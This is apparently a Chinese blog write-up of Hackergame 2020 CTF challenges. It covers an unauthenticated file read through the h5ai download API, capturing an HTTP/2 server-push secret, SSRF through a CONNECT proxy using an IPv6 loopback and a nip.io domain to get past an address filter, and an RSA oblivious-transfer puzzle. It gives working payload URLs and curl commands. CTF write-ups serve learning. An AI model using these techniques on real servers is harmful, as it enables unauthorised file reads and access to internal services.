        $hrefs = $this->request->query('hrefs', '');

        $archive = new Archive($this->context);

        set_time_limit(0);
        header('Content-Type: application/octet-stream');
        header('Content-Disposition: attachment; filename="' . $as . '"');
        header('Connection: close');
        $ok = $archive->output($type, $base_href, $hrefs);

        Util::json_fail(Util::ERR_FAILED, 'packaging failed', !$ok);
        exit;
    }

我这里用了 download 方法,按照代码依次补上参数就完事了。

class-archive.php:

    public function output($type, $base_href, $hrefs) {
        $this->base_path = $this->context->to_path($base_href);
        if (!$this->context->is_managed_path($this->base_path)) {
            return false;
        }

        $this->dirs = [];
        $this->files = [];

        $this->add_hrefs($hrefs);

        if (count($this->dirs) === 0 && count($this->files) === 0) {
            if ($type === 'php-tar') {
                $this->add_dir($this->base_path, '/');
            } else {
                $this->add_dir($this->base_path, '.');
            }
        }

        if ($type === 'php-tar') {
            return $this->php_tar($this->dirs, $this->files);
        } elseif ($type === 'shell-tar') {
            return $this->shell_cmd(Archive::$TAR_PASSTHRU_CMD);
        } elseif ($type === 'shell-zip') {
            return $this->shell_cmd(Archive::$ZIP_PASSTHRU_CMD);
        }
        return false;
    }

这里就用 shell-zip 好了,其实都行。

于是这题其实就是 h5ai 自带的 API 造成的文件读取,主要这个接口没有鉴权,更主要的是 Dockerfile 里用的是 cp 复制而不是 mv 移动。

噢对了,要用根目录的那个 _h5ai.

(发现根目录访问 .php 会直接丢给 fastcgi 处理了,也就绕过了 Basic Auth。

Payload: POST

http://202.38.93.111:10120/_h5ai/public/index.php?action=download&as=flag&type=shell-zip&baseHref=/

hrefs 参数发现不需要也行。

FLAG

保存响应,然后解压就得到 flag.txt 了。

flag{super_secure_cloud}

BTW, 有大佬发现这里的hrefs 参数没有检查 \\.., ..\\ 等,可以构造路径 /Public\\..\\flag.txt,此时经过 normalize 后 /Public/../,从而路径穿越实现任意文件读取。

详见 cytvictor 师傅的 WriteUp

h5ai#758: A potential security issue of unauthorized access

以及 h5ai#760: Unchecked l10n input leads to arbitrary JSON file reads

(算是 0day 漏洞了吧


超安全的代理服务器

(复现)

在 2039 年,爆发了一场史无前例的疫情。为了便于在各地的同学访问某知名大学「裤子大」的网站进行「每日健康打卡」,小 C 同学为大家提供了这样一个代理服务。曾经信息安全专业出身的小 C 决定把这个代理设计成最安全的代理。

提示:浏览器可能会提示该 TLS 证书无效,与本题解法无关,信任即可。

公告:题目帮助页面(https://146.56.228.227/help)右下角的「管理中心」链接有误,应该与首页相同,都是指向 http://127.0.0.1:8080/

找到 Secret

主页

help

这题用了 HTTP2 的 Server PUSH。

具体可以参考一下 Wikipedia: HTTP/2 Server Push 以及 阮一峰的HTTP/2 服务器推送(Server Push)教程

通常用到 Server Push 的话都是把 CSS、JS 之类的资源顺便推送给用户,然而这一题换了几个浏览器都没见到推送了啥资源……

甚至用 Postman(貌似不支持 HTTP2?) / Burp Suite(手动改请求头)降级到 HTTP/1.0 或者 HTTP/1.1,就不让你用。

postman

而 cURL 都直接不让你用。把 headers 都加上了,也不知道他怎么判断到的。。

curl "https://146.56.228.227/" -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0" -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8" -H "Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2" --compressed -H "Connection: keep-alive" -H "Upgrade-Insecure-Requests: 1" -H "Pragma: no-cache" -H "Cache-Control: no-cache" -H "TE: Trailers" -k -vv --http2

curl

但是这个信息肯定是在网络流里传输的,Wireshark 抓包的话肯定能抓到。

但是这里用到了 tls 加密,直接抓是抓不到明文的,然而我做这题的时候没配好还是没抓到明文(大草。

首先需要在系统设置一个 SSLKEYLOGFILE 环境变量,变量值为你喜欢的路径下建的一个用来保存 log 的文件。

编辑环境变量

而后在 wireshark 里设置文件路径。

Wireshark设置

再打开浏览器访问题目,就能在 wireshark 里抓到明文包了。

追踪 TLS 流 / HTTP2 stream 就能看到这个推送的 secret 和 flag1 了。

flag1

:warning: 抓包完成后请及时删除此环境变量,防止信息泄露。

这个题看到官方WP 给了基于 nghttp2 的解法。

nghttp -v https://146.56.228.227/

另一种解法

入侵管理中心

网页上的 管理中心 URL 为 http://127.0.0.1:8080/ ,访问 http://146.56.228.227:8080/ 提示

管理中心无法从公网直接访问

根据 帮助 给出的提示,需要利用 CONNECT 协议。

根据 RFC 7231 中的相关内容,结合题目所需的secret,请求头格式如下。

CONNECT server.example.com:80 HTTP/1.1
Host: server.example.com:80
Secret: xxxxxxxx

再看过滤的列表

  • 全球单播地址
  • 10.0.0.0/8
  • 127.0.0.0/8
  • 172.16.0.0/12
  • 192.168.0.0/16

其中不包括 IPv6 地址,可以试试本地环回,即[::1]

构造请求发过去试试,发现成功建立连接。

成功建立连接

The recipient proxy can establish a tunnel either by directly connecting to the request-target or, if configured to use another proxy, by forwarding the CONNECT request to the next inbound proxy. Any 2xx (Successful) response indicates that the sender (and all inbound proxies) will switch to tunnel mode immediately after the blank line that concludes the successful response’s header section; data received after that blank line is from the server identified by the request-target. Any response other than a successful response indicates that the tunnel has not yet been formed and that the connection remains governed by HTTP.

A tunnel is closed when a tunnel intermediary detects that either side has closed its connection: the intermediary MUST attempt to send any outstanding data that came from the closed side to the other side, close both connections, and then discard any remaining data left undelivered.

说明隧道已经建立了,但貌似做不到马上发下一个请求,于是隧道就关闭了。

用 Burp Suite 发包这个方案不实在((

好烦啊喵,用 curl 好了吧。(参考了官方 WP)

需要带上 Referer,否则会提示

管理中心需要从 ‘146.56.228.227’ 被访问(Referer)

$ curl -x https://146.56.228.227:443 --proxy-insecure -vvnn -p --proxy-header "Secret: aa08235651" http://[::1]:8080 -H "Referer: 146.56.228.227"
* Rebuilt URL to: http://[::1]:8080/
* Couldn't find host ::1 in the .netrc file; using defaults
*   Trying 146.56.228.227...
* TCP_NODELAY set
* Connected to 146.56.228.227 (146.56.228.227) port 443 (#0)
* successfully set certificate verify locations:
*   CAfile: /etc/ssl/certs/ca-certificates.crt
  CApath: /etc/ssl/certs
* TLSv1.3 (OUT), TLS handshake, Client hello (1):
* TLSv1.3 (IN), TLS handshake, Server hello (2):
* TLSv1.3 (IN), TLS Unknown, Certificate Status (22):
* TLSv1.3 (IN), TLS handshake, Unknown (8):
* TLSv1.3 (IN), TLS Unknown, Certificate Status (22):
* TLSv1.3 (IN), TLS handshake, Certificate (11):
* TLSv1.3 (IN), TLS Unknown, Certificate Status (22):
* TLSv1.3 (IN), TLS handshake, CERT verify (15):
* TLSv1.3 (IN), TLS Unknown, Certificate Status (22):
* TLSv1.3 (IN), TLS handshake, Finished (20):
* TLSv1.3 (OUT), TLS change cipher, Client hello (1):
* TLSv1.3 (OUT), TLS Unknown, Certificate Status (22):
* TLSv1.3 (OUT), TLS handshake, Finished (20):
* SSL connection using TLSv1.3 / TLS_AES_128_GCM_SHA256
* Proxy certificate:
*  subject: O=mkcert development certificate; OU=[email protected]
*  start date: Jun  1 00:00:00 2019 GMT
*  expire date: Oct 23 01:13:11 2030 GMT
*  issuer: O=mkcert development CA; OU=[email protected]; CN=mkcert [email protected]
*  SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway.
* allocate connect buffer!
* Establish HTTP proxy tunnel to ::1:8080
* TLSv1.3 (OUT), TLS Unknown, Unknown (23):
> CONNECT [::1]:8080 HTTP/1.1
> Host: [::1]:8080
> User-Agent: curl/7.58.0
> Proxy-Connection: Keep-Alive
> Secret: aa08235651
> 
* TLSv1.3 (IN), TLS Unknown, Certificate Status (22):
* TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):
* TLSv1.3 (IN), TLS Unknown, Unknown (23):
< HTTP/1.1 200 OK
* TLSv1.3 (IN), TLS Unknown, Unknown (23):
< Content-Length: 0
* Ignoring Content-Length in CONNECT 200 response
* TLSv1.3 (IN), TLS Unknown, Unknown (23):
< 
* Proxy replied 200 to CONNECT request
* CONNECT phase completed!
* CONNECT phase completed!
* CONNECT phase completed!
* TLSv1.3 (OUT), TLS Unknown, Unknown (23):
> GET / HTTP/1.1
> Host: [::1]:8080
> User-Agent: curl/7.58.0
> Accept: */*
> Referer: 146.56.228.227
> 
* TLSv1.3 (IN), TLS Unknown, Unknown (23):
< HTTP/1.1 200 OK
< Date: Sat, 07 Nov 2020 15:59:36 GMT
< Content-Length: 32
< Content-Type: text/plain; charset=utf-8
< 
* Connection #0 to host 146.56.228.227 left intact
flag2: flag{c0me_1n_t4_my_h0use}

另外看到 imlonghao 师傅的命令大法。(原来的代码在我这 Ubuntu 报错,于是改了一下反引号执行)

curl -v -k --proxy https://146.56.228.227/ --proxy-insecure --proxy-header "Secret: `(nghttp https://146.56.228.227/ 2>/dev/null | grep secret: | awk '{print $4}')`" http://www.ustc.edu.cn.127.0.0.1.nip.io:8080/ -p -H "Referer: https://146.56.228.227"

BTW, www.ustc.edu.cn.127.0.0.1.nip.io 这个域名会解析到 127.0.0.1,详见 https://nip.io 任意 IP DNS 泛域名。


不经意传输

from Crypto.PublicKey import RSA
from random import SystemRandom
import os

if __name__ == "__main__":
    random = SystemRandom()

    key = RSA.generate(1024)
    print("n =", key.n)
    print("e =", key.e)

    m0 = int.from_bytes(os.urandom(64).hex().encode(), "big")
    m1 = int.from_bytes(os.urandom(64).hex().encode(), "big")

    x0 = random.randrange(key.n)
    x1 = random.randrange(key.n)
    print("x0 =", x0)
    print("x1 =", x1)

    v = int(input("v = "))
    m0_ = (m0 + pow(v - x0, key.d, key.n)) % key.n
    m1_ = (m1 + pow(v - x1, key.d, key.n)) % key.n
    print("m0_ =", m0_)
    print("m1_ =", m1_)

    guess0 = int(input("m0 = "))
    guess1 = int(input("m1 = "))
    if guess0 == m0:
        print(open("flag1").read())
        if guess1 == m1:
            print(open("flag2").read())
    else:
        print("Nope")

解密消息

直接令 v = x0,这样直接就 m0_ = m0 了,得到 flag1.

flag1


小结

总而言之,这次 Hackergame 题目很有梯度,很有脑洞,感觉不错,学到了许多,下次还来

排名的话不停弹跳,好不容易做出道题目上去了,而后掉下来,到了最高的记录也就总榜 rk31 了,最后还是不停往下掉,最后都到总榜 rk41了,233.

总排名

解题情况

解题情况

rk31 顺便留个纪念👇

最高记录

大师傅们太强了!

喵呜,还是太菜了啊,我自己爬(


感觉这篇可以说是最长一篇博客了唉

(先这样吧 写不动了

(溜了溜了喵


文章作者: MiaoTony
版权声明: 本博客所有文章除特別声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 MiaoTony !
评论
  目录